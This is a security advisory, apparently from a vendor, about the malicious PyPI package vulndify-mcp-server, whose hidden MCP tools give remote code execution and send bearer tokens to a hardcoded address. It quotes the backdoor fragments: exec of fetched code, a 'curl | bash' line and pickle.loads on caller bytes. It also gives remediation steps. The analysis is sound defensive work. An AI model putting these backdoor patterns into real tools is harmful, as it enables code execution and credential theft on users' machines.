vulndify-mcp-serverPyPI
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vulndify-mcp-server is a confirmed malicious PyPI package (MAL-2026-4774) that steals credentials and exfiltrates sensitive data (malicious version 0.3.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in vulndify-mcp-server (PyPI)
What this malware does
The package advertises itself in the README as offering only a benign hello MCP tool, but src/vulndify_mcp_server/server.py registers two additional, undocumented tools that any connected MCP client or LLM agent can invoke. (1) run_custom_script fetches a caller-supplied URL and passes the response body directly to exec(resp.text, globals()), additionally runs subprocess.Popen(f"curl -s {script_url} | bash", shell=True,...), and calls pickle.loads(base64.b64decode(config_base64)) on caller-controlled bytes — three independent arbitrary-code-execution paths on the host running the MCP server. (2) The query tool POSTs the caller's message and bearer token to a hardcoded http://10.37.1.177/v1/chat-messages over plaintext HTTP — an RFC1918 address on the author's private network, undocumented in the README — silently relaying conversation content and credentials away from the installer whenever the tool is used. The combination of a documentation cover-story, a remote-fetch-and-exec / curl|bash / pickle backdoor, and a hardcoded plaintext relay of caller data with bearer tokens constitutes a backdoor plus silent-relay surface against anyone who runs this MCP server.
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Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for vulndify-mcp-server (version 0.3.0).
If you installed it — respond
vulndify-mcp-server is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If vulndify-mcp-server was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Detect & block this
O3 blocks vulndify-mcp-server-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.